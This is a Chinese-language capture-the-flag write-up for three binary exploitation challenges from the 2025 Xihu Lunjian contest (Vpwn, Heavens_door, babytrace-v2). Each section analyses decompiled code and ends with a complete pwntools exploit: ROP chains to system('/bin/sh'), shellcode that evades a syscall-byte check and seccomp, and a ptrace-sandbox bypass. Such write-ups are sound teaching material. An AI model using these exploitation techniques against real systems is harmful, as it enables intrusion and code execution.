文章

2025 西湖论剑

Vpwn

1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/V_PWN/Vpwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/ef4tless/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/'

漏洞分析

C++的菜单题,逻辑比较清晰 开始在栈上设置了一个计数器,初始值为0,后续的菜单功能都是基于此展开,但是缺乏边界保护

1
2
3
4
5
6
7
8
__int64 __fastcall sub_1840(__int64 a1)
{
  __int64 result; // rax

  result = a1;
  *(a1 + 24) = 0LL;
  return result;
}

功能1edit,只要输入的idx小于base+0x18位置计数器的数字就能进行赋值(这里的value是int)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
      case 1:
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
        std::istream::operator>>(&std::cin, &idx);
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
        std::istream::operator>>(&std::cin, &value);
        v3 = value;
        *sub_185C(base, idx) = v3;
        std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
        break;

__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
  std::out_of_range *exception; // rbx

  if ( a2 >= *(a1 + 0x18) )
  {
    exception = __cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "Index out of range");
    __cxa_throw(exception, &`typeinfo for'std::out_of_range, &std::out_of_range::~out_of_range);
  }
  return 4 * a2 + a1;
}

功能2 push操作没有边界检测就进行赋值,存在越界

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_18F4(__int64 a1, int *idx)
{
  int v2; // ecx
  __int64 result; // rax

  v2 = *idx;
  result = *(a1 + 0x18);
  *(a1 + 0x18) = result + 1;
  *(a1 + 4 * result) = v2;
  return result;
}

功能4show也没有边界校验,直接输出序号小于idx的所有value

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_19BC(__int64 a1)
{
  __int64 v1; // rax
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  std::operator<<<std::char_traits<char>>(&std::cout, "StackVector contents: ");
  for ( i = 0LL; i < *(a1 + 24); ++i )
  {
    v1 = std::ostream::operator<<(&std::cout, *(a1 + 4 * i));
    std::operator<<<std::char_traits<char>>(v1, " ");
  }
  return std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}

利用思路

利用push功能对栈上的base+0x18这个计数器进行覆盖,就能实现base地址向下任意地址写,进而控制返回地址

而show功能能够输出序号小于idx的所有value,当idx被修改后就能泄露libc地址,这里的输出是10进制且一个数据只占4字节,要进一步处理

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","") #typ="udp"
p = process("./Vpwn")
elf = ELF("./Vpwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data).encode())
sa      = lambda text,data          :p.sendafter(text, str(data).encode())
sl      = lambda data               :p.sendline(str(data).encode())
sla     = lambda text,data          :p.sendlineafter(text, str(data).encode())
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64     = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()


def edit(idx,value):
    sla(b"Enter your choice: ",1)
    sla(b"Enter the index to edit (0-based): ",idx)
    sla(b"Enter the new value: ",value)

def push(value):
    sla(b"Enter your choice: ",2)
    sla(b"Enter the value to push:",value)


def pop():
    sla(b"Enter your choice: ",3)

def show():
    sla(b"Enter your choice: ",4)



push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
show()

ru(b"20 20 20 20 20 20 20 0 ")

low = int(p.recvuntil(b" "))
high = int(p.recvuntil(b" "))

libc_addr = (high << 32) | (low & 0xFFFFFFFF)
libc_base = libc_addr-0x424f74
lg("libc_base")

system_addr = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
lg("system_addr")
pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139

def calcaddr(addr):
    high = (addr >> 32) & 0xffffffff
    low = addr & 0xffffffff
    if high < 0 :
        addr += 0x100000000
        high = addr & 0xffffffff
    if low < 0 :
        addr += 0x100000000
        low = addr & 0xffffffff
    return high,low

pop_rdi_high, pop_rdi_low = calcaddr(pop_rdi)
bin_sh_high, bin_sh_low = calcaddr(bin_sh)
system_addr_high, system_addr_low = calcaddr(system_addr)
ret_high,ret_low = calcaddr(ret)


# dbg("b system\nc\n")
edit(0x13,pop_rdi_high)
edit(0x12,pop_rdi_low)

push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
edit(0x15,bin_sh_high)
edit(0x14,bin_sh_low)

edit(0x17,ret_high)
edit(0x16,ret_low)

edit(0x19,system_addr_high)
edit(0x18,system_addr_low)

sla(b"Enter your choice: ",5)
   
ia()

Heavens_door

1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'/home/ef4tless/glibc-all-in-one/libs/2.38-3ubuntu1_amd64/'

漏洞分析

子进程会随机的输出干扰数据 主进程开辟了一个rwx的空间在0x10000,可供我们输入shellcode后续执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t v4; // [rsp+0h] [rbp-10h]

  init(argc, argv, envp);
  v4 = fork();
  if ( v4 )
  {
    printf("puchid: %d\n", v4);
    mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
    read(0, (void *)0x10000, 0xC3uLL);
    if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
      exit(-1);
    sandbox();
    MEMORY[0x10000]();
    return 0;
  }
  else
  {
    made_in_heaven();
    puts("The time is Accelerating");
    puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");
    return 0;
  }
}


void made_in_heaven()
{
  unsigned int v0; // eax
  int i; // [rsp+8h] [rbp-8h]

  for ( i = 0; i <= 13; ++i )
  {
    v0 = time(0LL);
    srand(v0);
    rand();
    puts((&sacredMysteries)[i % 14]);
    sleep(1u);
  }
}

但是会检测其中对应syscall的’\x0f\x05’的字节,最多出现2次

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 i; // [rsp+20h] [rbp-10h]

  v3 = 0;
  for ( i = 0LL; i < a2 - 1; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == 15 && *(_BYTE *)(i + 1 + a1) == 5 )
      ++v3;
  }
  return v3;
}

在执行前会有沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  2025xhlj seccomp-tools dump ./pwn
puchid: 94556
Rasen Kaidan
dddd
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0002: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0013
 0003: 0x15 0x09 0x00 0x00000001  if (A == write) goto 0013
 0004: 0x15 0x08 0x00 0x00000002  if (A == open) goto 0013
 0005: 0x15 0x07 0x00 0x00000004  if (A == stat) goto 0013
 0006: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0013
 0007: 0x15 0x05 0x00 0x00000006  if (A == lstat) goto 0013
 0008: 0x15 0x04 0x00 0x00000007  if (A == poll) goto 0013
 0009: 0x15 0x03 0x00 0x00000008  if (A == lseek) goto 0013
 0010: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0013
 0011: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW

利用思路

由于沙箱ban了read,不能再构建一次输入。给了open,mmap和write,可以去读flag。 一共会有三次syscall调用,可以改掉一个实现绕过判断,然后在输入进0x10000后再在执行时用shellcode去修改open对应syscall的字节,将其改回来

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","") #typ="udp"
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data).encode())
sa      = lambda text,data          :p.sendafter(text, str(data).encode())
sl      = lambda data               :p.sendline(str(data).encode())
sla     = lambda text,data          :p.sendlineafter(text, str(data).encode())
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64     = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()


dbg("b *(0x400000+0x1622)\nc\nb *0x401709\nc\n")
orw  = asm(shellcraft.amd64.linux.open("/flag"))
orw += asm(shellcraft.amd64.linux.mmap(0x20000, 0x20, 1, 2, 3, 0))
orw += asm(shellcraft.amd64.linux.write(1,0x20000,0x20))
#  mmap(0x10000, 0x1000uLL, 7, 50, -1, 0LL);

orw_e = orw[:0x23]+b"\x05"+orw[0x24:]

shellcode = asm('''
mov eax, 0x1002C
mov byte ptr [eax], 0x0f
''')
shellcode += orw_e

# print("++++++++++++++++++++++++++++++++++")
# print(orw_e)
# print(orw)

p.send(shellcode)

ia()

babytrace-v2

1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/babytrace'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/ef4tless/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/'

漏洞分析

先设置了子进程允许调试,然后在执行vuln前暂停 父进程在收到暂停了先设置了ptrace option,进入一个do-while循环 ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); 类似于对子进程进行”插桩”并使子进程恢复继续运行。它会使得子进程在执行系统调用前后,会释放SIGTRAP信号。父进程收到SIGTRAP信号则会触发waitpid(pid, &stat_loc, 0x40000000),参数值 0x40000000 是 WSTOPPED 标志的一个位掩码。WSTOPPED 表示子进程由于接收到信号而被停止(例如收到 SIGTRAP 或 SIGSTOP 信号)

在第一次ptrace+waitpid后(即系统调用前),对stat_loc和系统调用号进行了检查 系统调用只能是SYS_read,SYS_write,SYS_exit_group,SYS_fstat ,SYS_exit,如果不是则设置系统调用号为-1 然后是第二次ptrace+waitpid(即系统调用后),只检查了stat_loc

这里就存在一个漏洞,如果在子进程伪造一个SIGTRAP信号,第一次waitpid,父进程就会被触发处理。由于触发原因不是系统调用,所以会卡在第二个waitpid中。此时如果子进程再执行系统调用,在系统调用前就会释放SIGTRAP信号,卡在第二个waitpid中的父进程就会被触发。由于第二次只检查了stat_loc,所以这里可以执行任意的系统调用,而系统调用后的SIGTRAP信号则被第二轮do-while循环处理,即便rax被设置为1也不影响部分系统调用的执行。即缺少对SIGTRAP信号类别的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int stat_loc; // [rsp+4h] [rbp-ECh] BYREF
  __pid_t pid; // [rsp+8h] [rbp-E8h]
  __pid_t v6; // [rsp+Ch] [rbp-E4h]
  _BYTE v7[120]; // [rsp+10h] [rbp-E0h] BYREF
  __int64 syscall_id; // [rsp+88h] [rbp-68h]
  unsigned __int64 v9; // [rsp+E8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  pid = fork();
  if ( !pid )                                   // child
  {
    if ( prctl(1, 9LL) < 0 )
      error("prctl error");
    if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
      error("hack !!!!");
    v6 = getpid();
    kill(v6, 19);
    vuln();
  }
  if ( waitpid(pid, &stat_loc, 0) < 0 )         // father
    error("waitpid error1");
  alarm(0xFu);
  ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);
  do
  {
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 执行
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )// 暂停
      error("waitpid error2");
    if ( (stat_loc & 127) == 0 || stat_loc == 127 && (stat_loc & 0xFF00) >> 8 == 11 )// 正常退出或停止
      break;
    if ( ptrace(PTRACE_GETREGS, pid, 0LL, v7) < 0 )//获取寄存器值
      error("GETREGS error");
    if ( syscall_id != 1 && syscall_id != 231 && syscall_id != 5 && syscall_id != 60 )
    {
      if ( syscall_id )
      {
        printf("bad syscall: %llu\n", syscall_id);
        syscall_id = -1LL;
        if ( ptrace(PTRACE_SETREGS, pid, 0LL, v7) < 0 )//设置寄存器值
          error("SETREGS error");
      }
    }
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 执行
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )// 暂停
      error("waitpid error3");
  }
  while ( (stat_loc & 0x7F) != 0 && (stat_loc != 127 || (stat_loc & 0xFF00) >> 8 != 11) );
  return 0LL;
}

子进程执行的是一个菜单操作,其中edit和show功能idx都可以为负数,存在栈上的越界 1次任意写,2次任意读 其中edit还会在栈上写0x200的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void __noreturn vuln()
{
  int v0; // eax
  _QWORD v1[4]; // [rsp+10h] [rbp-20h] BYREF

  v1[3] = __readfsqword(0x28u);
  memset(v1, 0, 24);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v0 = read_con();
      if ( v0 != 2 )
        break;
      show(v1);
    }
    if ( v0 == 3 )
      exit(1);
    if ( v0 == 1 )
      edit(v1);
    else
      puts("invild.");
  }
}


unsigned __int64 __fastcall edit(__int64 *a1)
{
  __int64 idx; // [rsp+10h] [rbp-220h]
  _BYTE buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v4; // [rsp+228h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( unk_202010 == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);
    puts("which one?");
    idx = read_con();
    if ( idx > 2 )
      exit(1);
    puts("set value?");
    a1[idx] = read_con();
    puts("Set up for success!");
    unk_202010 = 0;
  }
  else
  {
    puts("permission denied!");
  }
  return __readfsqword(0x28u) ^ v4;
}

int __fastcall show(__int64 *a1)
{
  int *v1; // rax
  __int64 idx; // [rsp+18h] [rbp-8h]

  if ( dword_202018 > 1 )
  {
    LODWORD(v1) = puts("permission denied!");
  }
  else
  {
    puts("which one?");
    idx = read_con();
    if ( idx > 2 )
      exit(1);
    printf("num[%lld] = %lld\n", idx, a1[idx]);
    v1 = &dword_202018;
    ++dword_202018;
  }
  return v1;
}

这一些相关的图例

image.png

利用思路

对于子进程的部分,利用2次读得到栈地址和libc地址,一次写可以劫持libc里的strlen_got(在后续执行puts时触发),进而跳转到栈上的rop链

ROP链需要用int x;ret触发一次SIGTRAP,然后orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","") #typ="udp"
p = process("./babytrace")
elf = ELF("./babytrace")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data).encode())
sa      = lambda text,data          :p.sendafter(text, str(data).encode())
sl      = lambda data               :p.sendline(str(data).encode())
sla     = lambda text,data          :p.sendlineafter(text, str(data).encode())
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64     = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

def show(idx):
    sla(b'choose one >', 2)
    sla(b'which one?', idx)

def edit(con, idx, value):
    sla(b'choose one >', 1)
    p.sendafter(b'recv:', con)
    sla(b'which one?', idx)
    sla(b'set value?', value)


# dbg("0xCFC")

show(-4)
ru(b" = ")
stack_addr = int(ru(b"\n"))-0x20 # a1
lg("stack_addr")

show(-2)
ru(b" = ")
libc_base = int(ru(b"\n"))-0x21a6a0
lg("libc_base")

strlen_got = libc_base + 0x219098
offset = (strlen_got - stack_addr) // 8


int1_ret = libc_base + 0x00000000000c6d6e
Open = libc_base + 0x1142f0
Read = libc_base + 0x1145e0
Write = libc_base + 0x114680
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
add_rsp = libc_base + 0x0000000000114b5c # add rsp, 0x68; ret;
lg("add_rsp")

pay = p64(int1_ret)
pay += p64(pop_rdi)+p64(stack_addr-0x1a0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(Open)
pay += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr-0x1000)+p64(pop_rdx)+p64(0x30)+p64(Read)
pay += p64(pop_rdi)+p64(1)+p64(Write)
pay += b"/flag\x00"

edit(pay,offset,add_rsp)

ia()
本文由作者按照 CC BY 4.0 进行授权

热门标签